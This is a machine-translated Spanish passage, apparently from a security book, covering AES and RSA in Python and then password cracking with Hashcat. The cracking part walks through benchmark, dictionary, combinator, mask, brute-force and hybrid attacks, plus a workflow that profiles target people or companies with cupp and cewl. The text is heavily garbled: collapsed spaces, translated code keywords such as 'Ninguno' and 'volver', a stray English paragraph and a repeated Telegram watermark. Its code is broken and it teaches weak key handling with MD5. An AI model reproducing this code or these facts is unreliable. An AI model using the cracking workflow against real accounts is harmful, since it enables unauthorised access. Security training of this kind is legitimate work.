el cifrado asimétrico utilizará claves públicas y privadas únicas para cifrar y
descifrar datos. En las siguientes secciones, cubriremos los algoritmos de cifrado
con más detalle.
Cifrado simétrico
Este tipo de cifrado se usó por primera vez en los viejos tiempos antes de que se descubrieran
las computadoras y todavía se usa mucho en nuestra era moderna.
En resumen, para este tipo de encriptación, usará una clave secreta para encriptar
datos de texto simple y luego usará la misma clave para desencriptar y revelar el texto
en su estado original.
AvanzadoCifradoEstándar
Advanced Encryption Standard (AES) es el algoritmo seguro recomendado por
NIST para el cifrado simétrico. En esta sección, descubrirá cómo funciona AES.
Revisemos los desafíos que tenemos para el cifrado AES.
La primera, la clave, debe tener una longitud fija, ya sea 128, 192 o 256 bits. En
nuestro ejemplo (lo verá pronto en el código Python), usaremos 128 bits, pero
puede experimentar con tamaños de clave más seguros.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
lo que nos asegurará que la longitud será de 128 bits.
Otro desafío que tenemos es el vector de inicialización. No hablamos
sobre el IV anteriormente, pero necesitará un cifrado asimétrico, y debe
ser aleatorio. Si se está preguntando qué es IV, en una definición simple,
considérelo como una segunda clave aleatoria.
El problema era que el IV se reutilizaba en varias sesiones y un hacker podía
olfatear la red inalámbrica y, después de algunos intentos, capturar el valor del IV;
entonces un ataque de fuerza bruta revelaría la clave.
¡Espera! Todavía no hemos terminado; todavía tenemos algunos
desafíos más. Recuerde, AES usa un tamaño de bloque de 128 bits
para la entrada de texto claro. Por lo tanto, tenemos que separar nuestra
entrada en fragmentos de 128 bits.
Por último, usaremos el modo de cadena de bloques en AES; esta es
la opción más popular y la que yo uso personalmente. (Si lo desea,
siéntase libre de explorar más tipos; puede consultar la documentación
de Python de la biblioteca criptográfica).
#Importar módulo AES
de Crypto.CipherimportAES #Importar
módulo MD5 de Crypto.HashimportMD5
#ImportarmóduloRandom
deCryptoimportRandom
#Importbase64module importbase64
#Defineelnombre"AESCrypto"paranuestraclasedeobjetoAESCrypto:
#Definir una función para que haya ingresado texto y devuelto un valor de resumen
hexadecimal
defmd5_hash(self,text):
h=MD5.new()
h.update(texto)
returnh.hexdigest()
#Esteeseliniciadordeobjetosdeclaseydefinirálaclave
Canal de Telegram : @IRFaraExam
Machine Translated by Google
tamaño def__init__(self,key):
#KeySizeis128bits
self.key=self.md5_hash(key)
#Definirlafunciónquecifraráuntextodefcrypt(self,cleartext): #El
tamaño del bloque debe ser igual a 128 bits
Block_Size=AES.block_size
pad=lambdas:s+(Block_Size-len(s)%Block_Size)*chr
(Block_Size-len(s)%Block_Size)
cleartext_blocks=pad(texto claro)
#CreateARandomIViv=Random.new().read(Block_Size)
crypto=AES.new(self.key,AES.MODE_CBC,iv)
returnbase64.b64encode(iv+crypto.encrypt(cleartext_blocks))
#Definir una función para descifrar un texto a su estado original
defdecrypt(self,enctext): enctext=base64.b64decode(enctext) iv=enctext[:16]
crypto=AES.new(self.key,AES.MODE_CBC,iv)
#Unpadtheblocksbeforedecrypting
unpad=lambdas:s[0:-ord(s[-1])]
returnunpad(crypto.decrypt(enctext[16:]))
#EstasecciónusaráelobjetoAESysusfunciones.
print'Cifrandoelmensaje:HolaMundo.Usandolacontraseña/clave:contraseña123'
print'---------------------------------------------------- -------------' aes=AESCrypto('contraseña123')
encriptado=aes.encrypt('HelloWorld') print'Encrypted:'+encrypted
decrypted=aes.decrypt(encrypted) print'Descifrado :'+descifrado
Aquí se muestra cómo se ve cuando lo ejecuto:
root@kali:~#Pythonaes_example.pyCifradodelmensaje:HolaMundo.Usandolacontraseña/
clave:contraseña123
Canal de Telegram : @IRFaraExam
Machine Translated by Google
----------------------------------------Cifrado:/qfMVk7TA2DwgqNTFMifQCvV8jr4hcdNGy3vX9Zut0k=
Descifrado: Hola Mundo
Cifrado asimétrico El cifrado
asimétrico es un invento fantástico en seguridad. Por ejemplo, le
permite comunicarse de forma segura a través de Internet mediante SSL/
TLS .
Muchos sistemas y protocolos utilizan este tipo de cifrado actualmente, como TLS,
SSH, SFTP y muchos más. Entonces, ¿cómo ciframos los datos mediante el cifrado
asimétrico? Veamos un ejemplo práctico.
Elliot quiere enviar un correo electrónico a Darlene y quiere cifrar los datos
mediante AES, que vimos en el módulo anterior. ¿Cómo puede enviarle la clave
de manera segura y eficiente al mismo tiempo?
En este caso, Elliot le pedirá a Darlene su clave pública y ella se la enviará
a Elliot.
Por lo tanto, Elliot cifrará el mensaje con una clave AES y enviará el mensaje
cifrado a Darlene. Además, incluye una copia cifrada de la clave AES utilizando la
clave pública de Darlene.
Ahora es seguro enviar el mensaje. En este momento, Darlene
recibirá el mensaje cifrado y la copia cifrada de la clave AES. Luego,
usará su clave privada para descifrar y revelar la clave AES.
Ahora, probablemente se esté preguntando por qué Elliot usa
metodologías tanto simétricas como asimétricas para enviar un correo
electrónico. ¿Por qué no usa solo las claves pública y privada para el
cifrado? Usamos esto como un ejemplo a propósito porque muchos de los
protocolos, como TLS, se basan en este flujo de trabajo.
Recapitulemos lo que hemos aprendido sobre el cifrado asimétrico:
La clave pública receptora cifra el contenido original.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
La clave privada del destinatario descifra el contenido cifrado.
El algoritmo recomendado para este tipo de encriptación es RSA, y por razones de
seguridad, actualmente se recomienda usar 2048 o 4096 bits.
Otro desafío surgió con la tecnología más reciente de los dispositivos
móviles. El hardware dentro de ellos no puede procesar el cálculo del
algoritmo RSA rápidamente. El genio matemático surgió con otro enfoque
llamado criptografía de curva elíptica (ECC), y hoy en día, se usa mucho en
dispositivos de hardware lento.
RivestShamirAdleman
Rivest Shamir Adleman (RSA) es el algoritmo más popular usado en el
cifrado asimétrico. Implementar RSA en Python es un ejercicio emocionante para
aprender. Después de terminar esta lección, podrá hacerlo usted mismo.
Antes de saltar al código fuente, analicemos la estructura de la aplicación que
vamos a desarrollar (vea la figura 13.1).
Figura 13.1 Herramienta RSA
Primero, la herramienta generará una clave pública y una clave privada. Después de eso,
guardaremos cada clave en un archivo separado y usaremos la extensión PEMe para cada una.
Para el proceso de cifrado, la aplicación cargará primero el archivo de clave pública y
Canal de Telegram : @IRFaraExam
Machine Translated by Google
recibir el texto sin cifrar para cifrar. En esta etapa, hemos cifrado la salida de texto.
En el proceso de descifrado, cargaremos la clave privada del archivo que
generamos anteriormente y proporcionaremos los datos cifrados que queremos
descifrar. Finalmente, tenemos el valor de texto claro original descifrado. Saltemos al
código fuente y comencemos a hacerlo en Python (siguiendo los mismos patrones que
el anterior para AES):
FromCrypto.PublicKeyimportRSA
fromCrypto.CipherimportPKCS1_OAEP
fromCryptoimportRandom
fromCrypto.HashimportSHA256 importbase64
classCryptoRSA:
PRIVATE_KEY_FILE="private_key.pem"
PUBLIC_KEY_FILE="clave_pública.pem"
def__init__(auto): volver
def__save_file(self,contents,file_name): f=open(file_name,'w')
f.write(contents) f.close()
def__read_file(self,file_name):
f=open(file_name,'r') contenidos=f.read()
f.close() returncontents
def__generar_aleatorio(uno mismo):
volverRandom.nuevo().leer()
defgenerate_keys(self):
keys=RSA.generate(4096)
private_key=keys.exportKey("PEM")
public_key=keys.publickey().exportKey("PEM")
self.__save_file(private_key,self.PRIVATE_KEY_FILE) self.__save_file
(public_key,self.PUBLIC_KEY_FILE) print"Public&PrivateKeys;generadas
y guardadas
con éxito!"
defencrypt(self,cleartext,public_keypath=Ninguno):
if(public_keypath==Ninguno):
Canal de Telegram : @IRFaraExam
Machine Translated by Google
public_keypath=self.PUBLIC_KEY_FILE
public_key=RSA.importKey(self.__read_file(public_keypath))
cipher=PKCS1_OAEP.new(public_key) encrypted_data=cipher.encrypt(cleartext)
returnbase64.b64encode(encrypted_data)
defdecrypt(self,cipher_text,private_key_path=Ninguno):
ifprivate_key_path==Ninguno:
private_key_path=self.PRIVATE_KEY_FILE
cipher_text=base64.b64decode(cipher_text)
private_key=RSA.importKey(self.__read_file(private_key_path))
cipher=PKCS1_OAEP.new(private_key) returncipher.decrypt(cipher_text)
+datos_cifrados
#EnestasecciónllamamosalobjetoRSAysusfuncionalidadesCryptoRSA().generate_keys()crypted_data=Crypto
+datos_descifrados
Así es como se ve cuando estamos unidos en KaliLinux:
root@kali:~#Pythonrsa_example.pyPublic&PrivateKeys;
¡generadas y guardadas con éxito!
Cifrado:FuI+aoorcmI4OuZtapoT49ZAbyJpHEXIlGH4/oS0yj6qSPTMtQYJiT7rXNhqhDil8SghhdO0Y0YSbb
Descifrado: Hola Mundo
Descifrando secretos con Hashcat
Whenitcomestocracking, Hashcatisthetoolofchoice.Thisapplicationis
versatileandfast.Likeanytool, youcanalwaysusethehelpsectiontolookfor
theoptionyou'retryingtoachieve.InKali, Hashcatisalreadypre instalado, de modo
youdon'thavetoworryaboutthatpart.Intheexamplesofthissection, wewill
useapowerfulcustomcrackingrigbuiltwithsixGPUcards.Cracking
passwordsofflineneedsalotofcomputation.Still, we'relivinginanerawhere
miningisbecomingpopular, andtheGPUpowerhelpsus, profesionales assecurity,
togetallthesupportthatweneedtobuildpowerfulmachines.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
(Construir múltiples componentes de GPU utilizando elevadores PCIE que son tan fáciles
de obtener en estos días en comparación con el pasado donde teníamos que instalar las
tarjetas gráficas directamente en la placa base). El sitio oficial de Hashcat es hashcat.net/.
BenchmarkPruebas
El primer ejercicio que puede ejecutar con Hashcat es la prueba comparativa. En este
ejemplo, usaremos esta herramienta para probar la velocidad de descifrado de hashes NTLM
en la plataforma. Aunque estamos probando este comando en un host de Windows, puede
aplicar el mismo principio en Kali:
C:\Usuarios\Gus\Documentos\hashcat-6.1.1>hashcat.exe-m1000-w3-b hashcat(v6.1.1)iniciando en
modo de referencia...
CUDAAPI (CUDA11.1)
====================
*Dispositivo #1:GeForceRTX2070,6744/8192MB,36MCU
*Dispositivo #2:GeForceRTX2070,6744/8192MB,36MCU
*Dispositivo #3:GeForceRTX2070,6744/8192MB,36MCU
*Dispositivo #4:GeForceRTX2070,6744/8192MB,36MCU
*Dispositivo #5:GeForceRTX2070,6744/8192MB,36MCU
*Dispositivo #6:GeForceRTX2070,6744/8192MB,36MCU
OpenCLAPI(OpenCL1.2CUDA11.1.70)-Plataforma#1[NVIDIA Corporation]
================================================== =====================
*Dispositivo n.º 7: GeForceRTX2070, omitido
*Dispositivo n.º 8: GeForceRTX2070, omitido
*Dispositivo n.º 9: GeForceRTX2070, omitido
*Dispositivo n.º 10: GeForceRTX2070, omitido
*Dispositivo n.° 11: GeForceRTX2070, omitido
*Dispositivo n.º 12: GeForceRTX2070, omitido
Opciones relevantes de Benchmark:
===========================
*--workload-profile=3
Modo hash: 1000-NTLM
Velocidad.#1………:16644.7MH/s(72.14ms)@Accel:32Lazos:1024Thr:1024Vec:1
Velocidad.#2…………:17002.3MH/s(70.62ms)@Accel:32Lazos:1024Thr:1024Vec :1
Velocidad.#3………:16657.6MH/s(72.11ms)@Accel:32Bucles:1024Thr:1024Vec:1
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Velocidad.#4………:16435.3MH/s(73.12ms)@Accel:32Bucles:1024Thr:1024
Ya: 1
Velocidad.#5………:16975.5MH/s(70.78ms)@Accel:32Bucles:1024Thr:1024Vec:1
Velocidad.#6………:16637.0MH/s(72.25ms)@Accel:32Bucles:1024Thr:1024Vec:1
Velocidad.#*………:100.4GH/s
Comenzó:miéoct2114:44:382020
Detenido: miéoct2114:45:002020
De acuerdo con los resultados de salida, la velocidad total de las seis tarjetas gráficas combinadas
es 100,4 GigaNTLMhashes por segundo. Ahora repasemos cada opción utilizada en
El comando:
ÿm1000 : la m representa el modo y 1000 es el código para NTLM.
ÿw3 : La w significa carga de trabajo y 3 significa alto rendimiento (usted
obtener más información sobre las cargas de trabajo en un momento).
ÿb :Esto simplemente representa la prueba comparativa.
Es posible que tenga dos preguntas que le vienen a la mente:
¿Cómo supimos que el número de modo NTLM es 1000?
¿Qué es el rendimiento de la carga de trabajo?
La respuesta directa a ambas preguntas para usar el contenido de ayuda del hashcat
mando:
$hashcat--ayuda
Para encontrar la lista de modos Hashcat, busque la sección [Hashmodes] .
Tú
encontrará todos los algoritmos admitidos que Hashcat puede descifrar (hay un montón de
ellos!). Aquí hay una instantánea del comienzo de esta lista:
-[Modos hash]
-
#|Nombre
|Categoría
=
=====+============================================ ======+=====================
900|MD4
0|MD5
100|SHA1
1300|SHA2-224
1400|SHA2-256
|Hash sin procesar
|Hash sin procesar
|Hash sin procesar
|Hash sin procesar
|Hash sin procesar
Canal de Telegram : @IRFaraExam
Machine Translated by Google
10800|SHA2-3841700|
SHA2-512[…]
|Hash sin procesar
|Hash sin procesar
Puede visitar el siguiente enlace en el sitio web de Hashcat para visualizar todos los
algoritmos soportados:
hashcat.net/wiki/doku.php?id=ejemplo_hashes
Para los perfiles de carga de trabajo, hicimos lo mismo.
estamos utilizando un perfil de carga de trabajo de alto rendimiento.
profileissetto2. Aquí hay una copia de los perfiles de carga de trabajo de la sección de ayuda de
Hachís:
-[Perfiles de carga de trabajo]
-
#|Rendimiento|Tiempo de ejecución|Consumo de energía|Impacto en el escritorio
===+=============+=========+======================= ===============
1|Bajo|2ms
2|Predeterminado|12ms
3|Alta|96ms
4|Pesadilla|480ms|Loco
|Baja
|Económico
|Alto
|Mínimo
|Notable
|No responde
|Sin cabeza
CrackingHashesinAcción
En esta sección, aprenderá cómo usar Hashcat para comenzar a descifrar hashes.
ejemplo, crackearemos un hash MD5 utilizando el modo de ataque de archivo de diccionario con
el archivo rockyou.txt . Esto es lo que parece descifrar un hash MD5:
C:\Usuarios\Gus\Documentos\hashcat-6.1.1>hashcat.exe-a0-m0-w3-o"C:\Usuarios\Gus\Documentos\Resultados
agrietados.txt"
"C:\Usuarios\Gus\Documentos\hashes.txt"
"C:\Usuarios\Gus\Documentos\Contraseñas\rockyou\rockyou.txt"
hashcat (v6.1.1) comenzando...
[…]
Acercándose a la carga de trabajo del espacio clave final ajustada.
Sesión……….:hashcat
Estado………..:Agrietado
Hash.Nombre……..:MD5
Hash.Objetivo……:42f749ade7f9e195bf475f37a44cafcb
Hora.de.inicio…..:WedOct2115:40:052020(0secs)
Tiempo.Estimado…: MiéOct2115:40:052020(0 segundos)
Guess.Base…….:Archivo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
(C:\Usuarios\Gus\Documentos\Contraseñas\rockyou\rockyou.txt)
Guess.Queue……:1/1(100.00%)
Velocidad.#1………:0H/s(0.00ms)@Accel:1024Bucles:1Thr:64Vec:1
Velocidad.#2………:20174.4kH/s(3.28ms)@Accel:1024Bucles:1Thr:64
Ya: 1
Velocidad.#3………:0H/s(0.00ms)@Accel:1024Lazos:1Thr:64Vec:1
Velocidad.#4…………:0H/s(0.00ms)@Accel:1024Lazos:1Thr:64Vec:1
Velocidad.#5………:0H/s(0.00ms)@Accel:1024Lazos:1Thr:64Vec:1
Velocidad.#6…………:0H/s(0.00ms)@Accel:1024Lazos:1Thr:64Vec:1
Velocidad.#*………:20174.4kH/s
Recuperado……..:1/1(100.00%) Progreso de
resúmenes…………:6354326/14344384(44.30%)
Rechazado………:0/6354326(0.00%)
Punto.de.restauración….:0/14344384(0.00%)
Restaurar.Sub.#1…:Sal:0Amplificador:0-0Iteración:0-1
Restaurar.Sub.#2…:Sal:0Amplificador:0-1Iteración:0-1
Restaurar.Sub.#3…:Sal:0Amplificador: 0-0Iteración:0-1
Restaurar.Sub.#4…:Sal:0Amplificador:0-1Iteración:0-1
Restaurar.Sub.#5…:Sal:0Amplificador:0-0Iteración:0-1 Restaurar.Sub.#
6…:Sal:0Amplificador:0-1Iteración:0-1 Candidatos.#1….:[Copiando]
Candidatos.#2….:123456->158417
Candidatos.#3….:[Copiando]
Candidatos.#4….:rayvins->lanardota2 Candidatos.#5….:
[Copiando]
Candidatos.#6….:15841530->rayvinz
Hardware.Mon.#1..:Temp:38cFan:0%Util:0%Core:1410MHzMem:6801MHzBus:1
Hardware.Mon.#2..:Temp:38cFan: 0% Util:6% Núcleo:1410MHzMem:6801MHzBus:1
Hardware.Mon.#3..:Temp:39cVentilador:0%Util:6%Núcleo:1410MHz
Mem:6801MHzBus:1
Hardware.Mon.#4..:Temp:56cFan:5%Util:1%Core:1845MHzMem:6801MHzBus:1
Hardware.Mon.#5..:Temp:40cFan:0%Util:0%Core:1410MHzMem:6801MHzBus :1
Hardware.Mon.#6..:Temp:37cFan:0%Util:6%Core:1410MHzMem:6801MHzBus:1
Comenzó:miéoct2115:39:512020
Detenido: miéoct2115:40:072020
Esta es la explicación de cada opción utilizada en el comando:
ÿa0 : En esta opción, ÿa es el modo de ataque; cero significa que es un ataque basado
en adicciones.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ÿm0 : en esta opción, ÿm es el tipo hash; 0 es para el algoritmo MD5. ÿo : Este es el nombre del
archivo de salida (la versión descifrada se guardará en este archivo).
Además, tenga en cuenta que guardamos los hashes en el archivo hashes.txt .
42F749ADE7F9E195BF475F37A44CAFCB
¡Listo! Esteeselcontenidodeltextoclaroqueseguardaenelarchivo
Resultados agrietados.txt :
42f749ade7f9e195bf475f37a44cafcb:Contraseña123
Modos de ataque
Hay varias formas de descifrar secretos con Hashcat. Probablemente esté familiarizado con
los ataques de fuerza bruta o los ataques de diccionario. En esta sección, se sorprenderá
de cuántas formas puede descifrar hashes:
Attackmode01(ÿa0): Directo/lista de palabras/diccionario
Attackmode02(ÿa1): Combinador
Attackmode03(ÿa3): Máscara/fuerza bruta
Attackmode04(ÿa6): Híbrido=lista de palabras+máscara
Attackmode05(ÿa7): Híbrido=máscara+lista de palabras
Modo directo En
este modo de ataque, puede usar el archivo del diccionario para hacer el trabajo. Se llama
modo directo , pero a menudo lo escuchará llamado ataque de lista de palabras y ataque
de diccionario (todos se refieren al mismo) .
$hashcat-a0-m[HashType]-o[OutputFilePath][HashesFile
Ruta][DiccionarioArchivoRuta]
Creación de un archivo de diccionario
grande Al principio, tal vez comience con el archivo de diccionario rockyou.txt .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
al menos 15 GB de tamaño. ¿Cómo obtener un archivo de diccionario tan grande? Tendrá
que descargar los archivos de diccionario de Internet tanto como pueda, y luego puede
combinar todos estos archivos usando la ventana del terminal (suponiendo que todos los
archivos están en formato de texto).
Primero, descargue todos los archivos en un solo directorio (los descargué en /root/
dics ). Luego, asegúrese de estar dentro del directorio dics y combine todos los archivos en
uno solo usando el siguiente comando, asegurándose de que su VM tenga suficiente espacio
en disco:
root@kali:~/dics#cat*>merged.txt
Lo más probable es que el archivo fusionado.txt contenga algunos duplicados. El siguiente
paso es clasificar el contenido y eliminar los duplicados mediante los comandos sort y uniq :
root@kali:~/dics#sortmerged.txt|uniq>large_dic.txt
Cuanto más grande, mejor: large_dic.txt será su amigo en los escenarios de ataques de su
diccionario. Verá cómo usarlo más adelante en este capítulo.
Reglas del diccionario
En un ataque adictivo, puede agregar más opciones de reglas que lo hacen más poderoso.
Las reglas se almacenan en una carpeta en el directorio principal de Hashcat. En resumen, las
reglas agregarán más combinaciones basadas en el archivo de diccionario que está utilizando
con su tarea de craqueo. La gran pregunta es, ¿qué reglas tiene que elegir?
Hay muchas reglas tremendas, e incluso para un pentester experimentado, las opciones son
abrumadoras. Cuanto más grande es el archivo de reglas, más tiempo lleva, pero más hashes
puede descifrar. Probablemente esté diciendo: "Entonces elegiré el archivo de reglas más
grande y podré descifrar cualquier hash".
Verá cómo descifrar un hash más eficientemente más adelante, pero por el momento, tenga
en cuenta las siguientes reglas estándar (aumentando de menor a mayor):
Best64Regla
regla rockyou-30000
Generado2Regla
regla de buceo
Aquí hay un ejemplo para descifrar el hash NTLM con un ataque en modo directo y el
La mejor opción de regla 64:
root@kali:~#hashcat-a0-m1000-o/root/cracked_hashes.txt
Canal de Telegram : @IRFaraExam
Machine Translated by Google
/root/NTLM_hashes.txt/usr/share/wordlists/rockyou.txt-r/usr/share/hashcat/
rules/best64.rule
combinador
El combinador, como sugiere su nombre, crea combinaciones basadas en varios archivos de
diccionario. En el ataque del combinador, deberá especificar dos archivos de diccionario. Este es un
ejemplo:
root@kali:~#hashcat-a0-m1000-o/root/cracked_hashes.txt/root/NTLM_hashes.txt/
usr/share/wordlists/rockyou.txt/root/mydictionary.txt
En el ejemplo anterior, combinamos dos archivos de diccionario: rockyou.txt y probablemente se
estos archivos. Usaremos dos
estéarchivos
preguntando
de diccionario
cómo el combinador
simples para
ataca
mostrarle
mydictionary.txt
el proceso:. Dictionary1.txt
se une a
eliot
Clave
Prueba
Diccionario2.txt
1234
7777
Estos son los resultados del combinador:
eliot1234
eliot777
Contraseña1234
Contraseña777
Prueba1234
Prueba777
CombinatorReglas
En un ataque combinado, puede agregar reglas mientras realiza el proceso de combinación.
Cada regla se aplicará al primer archivo de diccionario (diccionario izquierdo) o al segundo archivo
de diccionario (diccionario derecho). Para usar las reglas izquierda o derecha, debe usar las
siguientes opciones:
ÿj o ÿÿruleÿleft :Regla aplicada al final de cada palabra en el diccionario
izquierdo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ÿk o ÿÿruleÿright : regla aplicada al final de cada palabra en el diccionario correcto
Además, tenga en cuenta que deberá incluir un $ en cada carácter que desee agregar. Por ejemplo, ÿj'$ÿ'
agregará el carácter de guion a las palabras del primer archivo de diccionario.
Según los dos archivos de diccionario anteriores, este es el aspecto que tendrá el comando:
root@kali:~#hashcat-a0-m1000-o/root/cracked_hashes.txt/root/NTLM_hashes.txt/root/Dictionary1.txt/root/
Dictionary2.txt- j'$-'-k'$!'
La salida de este comando se verá así:
Elliot-1234!
¡Elliot-777!
¡Contraseña-1234!
¡Contraseña-777!
¡Prueba-1234!
¡Prueba-777!
Maskand Brute - Ataques de fuerza
Esta sección cubre lo más importante de todos los modos de ataque en Hashcat. Profundizaremos en cada
escenario, pero asegúrese de leer esta sección detenidamente para que pueda comprender fácilmente los
conceptos.
El ataque de máscara es un ataque inteligente de fuerza bruta. ¿Qué significa eso? En un ataque de
fuerza bruta, usted usa todos los caracteres (minúsculas, mayúsculas, números y caracteres especiales).
En cambio, en un ataque de máscara, tiene el poder de elegir los tipos de caracteres que desea usar:
Minúsculas
Mayúsculas
dígitos
Caracteres especiales
Todos los personajes
Keyspace El
espacio de teclas y los conjuntos de caracteres son dos palabras clave críticas para un ataque de ska.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
el espacio clave es el número total de combinaciones de una máscara o un ataque de fuerza bruta.
Esta es la fórmula para un espacio clave en un ataque de fuerza bruta:
Keyspace=charsetcount^Longitud
Tomemos un ejemplo práctico para entender cómo calcular un espacio clave. Si queremos descifrar la
“contraseña 1234” (la longitud es 12), tenemos dos opciones:
Podemos intentar romperlo con un ataque de fuerza bruta utilizando caracteres
alfanuméricos (va a ser un número mayor si incluye también los caracteres especiales).
Keyspace=62(numberoflower+upper+digits)^12(longitudofpassword1234)=3,226,266,762,397,899,821,056
Podemos usar un ataque de aka para apuntar a minúsculas y dígitos solamente.
Espacio de teclas = 26 * 26 * 26 * 26 * 26 * 26 * 26 * 26 * 10 * 10 * 10 * 10 = (26 ^ 8) *
(10 ^ 4) = 2,088,270,645,760,000
En resumen, el ataque de fuerza bruta es fácil de usar, pero llevará una eternidad ejecutarlo con
contraseñas largas (pronto verá cómo usarlo con Hashcat).
Máscaras
Cuando desee descifrar un hash, comenzará con la longitud de la contraseña. Para usted, la contraseña
detrás de la clave es desconocida (incluso el tamaño). Por lo tanto, para comenzar, debe aumentar la
longitud cada vez que ejecuta Hashcat.
1. Primera vez: objetivo solo caracteres en minúsculas.
2.Segunda vez: seleccione el primer carácter en mayúsculas y el resto en minúsculas.
3. Por tercera vez: apunte a todos los caracteres, ya sea en minúsculas o en mayúsculas.
4.Cuartavez:añadirdígitosalacombinación.
5.Fifthtime:objetivotodosloscaracteres(inferior+superior+dígitos+especial
caracteres).
En un ataque amaska, cada carácter desconocido (marcador de posición) puede ser atacado de tres
maneras:
Variable de conjunto de caracteres personalizado
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Variable de conjunto de caracteres integrado
Juego de caracteres estáticos
Variables de juego de caracteres incorporadas
Con los conjuntos de caracteres incorporados, puede indicar con qué desea representar
cada letra. Si desea comenzar a atacar ocho caracteres en minúscula, use el siguiente
comando:
$hashcat-a3?l?l?l?l?l?l?l?lm[HashType]-o[OutputFilePath]
[Ruta del archivo de hashes]
El ?l inyectará un carácter en minúsculas, por lo que el espacio clave es el siguiente:
aaaaaaaa-zzzzzzzz
.
Espere un segundo, la máscara anterior ataca solo contraseñas de ocho caracteres.
¿Qué pasa con las series 7, 6, 5, 4, 3, 2, 1? La respuesta es simplemente que agregar
la opción de incremento hará el trabajo por usted.
$hashcat-a3?l?l?l?l?l?l?l?lm[HashType]--increment-o[OutputFilePath][HashesFilePath]
Esta es la lista de conjuntos de chips integrados que utiliza Hashca para descifrar contraseñas usando el
Mascarilla:
?l=abcdefghijklmnopqrstuvwxyz
?u=ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d=0123456789
?s=#$'()*,ÿ./:;<=>?@[\]^_!`{|}+«espacio»"~%&
?a=?l?u?d?s
?h=0123456789abcdef
?H=0123456789ABCDEF
?b=0x00ÿ0xff
StaticCharsets
Puede usar letras estáticas en lugar de una combinación de caracteres. Por ejemplo, sabe
que el nombre de la persona que usa el NTLM tiene su Gedeón, así que, como primer paso,
puede incluir algunas combinaciones usando la palabra Gedeón. En el siguiente ejemplo,
agregaremos cuatro dígitos a Gideon:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
$hashcat-a3Gideon?d?d?d?d-m1000-o[Ruta del archivo de salida][Ruta del archivo hashes]
Si la combinación anterior no funcionara, podríamos aumentar el nivel de complejidad
agregando un carácter especial ?S al final:
$hashcat-a3Gideon?d?d?d?d?s-m1000-o[Ruta del archivo de salida]
[Ruta del archivo de hashes]
CustomCharsets
En un conjunto de caracteres personalizado, puede inyectar un conjunto personalizado de caracteres en su ataque.
Antes de continuar con un ejemplo, tenga en cuenta que primero deberá definir sus conjuntos
de caracteres personalizados utilizando las siguientes opciones:
ÿ1 o –juego de caracteres personalizado1
ÿ2 o –juego de caracteres personalizado2
ÿ3 o –juego de caracteres personalizado3
ÿ4 o –juego de caracteres personalizado4
Ahora veremos un ejemplo con caracteres de ocho cadenas seguidos de cuatro dígitos. En este
escenario, queremos que Hashcat inyecte minúsculas y mayúsculas en el primer carácter, luego el
resto de estos siete en minúsculas y, finalmente, agregue los cuatro dígitos:
$hashcat-a3-1?l?u?1?l?l?l?l?l?l?l?d?d?d?dm[HashType]-o[OutputFilePath][HashesFilePath]
Veamos lo que está haciendo esta fórmula:
Primero, usamos el ÿ1?l?u; .Aquí, definimos nuestro juego de caracteres personalizado. Todo lo
que necesitamos hacer es inyectarlo en nuestra combinación.
Utilice la parte de combinación ?1?l?l?l?l?l?l?l?d?d?d?d; .
Tenga en cuenta que
el primer carácter ?1 (número 1 y no minúsculas) es donde el juego de caracteres personalizado
inyectará caracteres en minúsculas y mayúsculas. Después de eso, inyectamos siete letras
minúsculas ?l (esta vez, es la letra y no el número uno). Finalmente, inyectamos los cuatro
.
dígitos, ?d
HashcatCharsetFiles
En lugar de adivinar qué combinación de juegos de caracteres usar, Hashca ya lo hizo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
El trabajo para usted y creó una lista de archivos de conjunto de
caracteres que puede usar en su viaje de descifrado .
$hashcat-a3-m1000-o[Ruta del archivo de salida][Ruta del archivo hashes]/usr/share/
hashcat/masks/rockyou-2-1800.hcmask
Ataque de fuerza bruta
Si la contraseña es corta (un máximo de nueve caracteres), puede usar
la técnica de fuerza bruta basada en el modo de ataque de máscara.
$hashcat-a3?a?a?a?a?a?a?a?a--increment-m[HashType]-o[OutputFilePath]
[HashesFilePath]
Ataques híbridos Un
ataque híbrido es similar al ataque combinado, pero en lugar de combinar dos archivos de
diccionario, combinamos un archivo de diccionario y un conjunto de caracteres de máscara. En
un ataque híbrido, tiene dos opciones:
Lista de palabras+máscara: ÿa6
Máscara+lista de palabras: ÿa7
Supongamos que desea agregar un conjunto de caracteres especiales al final
de su archivo de diccionario; luego usará el siguiente comando:
$hashcat-a6-m[HashType]-o[OutputFilePath][HashesFilePath][DictionaryFilePath]?s
Flujo de trabajo de craqueo
En este punto, es posible que te sientas confundido y abrumado acerca de qué
ataque elegir y por dónde empezar si tienes un desafío de cracking. ¿Deberías usar
un archivo de diccionario, fuerza bruta o un ataque de máscara? La respuesta simple
son todas, pero necesitarás saber con cuál empezar.
Debe comenzar poco a poco y agregar más ataques que consumen más tiempo (los
siguientes pasos son solo un ejemplo de cómo puede elevar la complejidad; depende de usted
elegir el flujo de trabajo que se adapte a sus necesidades):
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Si puede perfilar su objetivo (una persona o una empresa) y generar un archivo de
diccionario adecuado.
Orientación a una persona: use cupp.py (descárguelo primero).
Apuntando a una empresa: use su sitio web y ejecute el siguiente comando para
hacer el trabajo:
$cewl[http://sitio web]-w[out_file.txt]
Finalmente, use el ataque de diccionario Hashcat (usando el archivo de diccionario que
acaba de generar) + la regla Best64.
Usa un ataque adictivo usando rockyou.txt + Best64rule.
Bruto: forzar los primeros ocho caracteres (si no tiene suficiente potencia de GPU, use siete
caracteres como máximo).
Use un ataque adictivo con big_dic.txt ( que creó anteriormente) + la regla Best64.
Utilice el archivo de máscara rockyouÿ1ÿ60.hcmask .
Useahybridattack:Mask( ÿ1?s?d?1?1?1?1 )+wordlist
Useahybridattack:wordlist+mask( ÿ1?s?d?1?1?1?1 ).
Dictionaryattackusing big_dic.txt +Generated2rule.
Ataque combinado: rockyou.txt + rockyou.txt .
Utilice el archivo de máscara: rockyouÿ7ÿ2592000.hcmask .
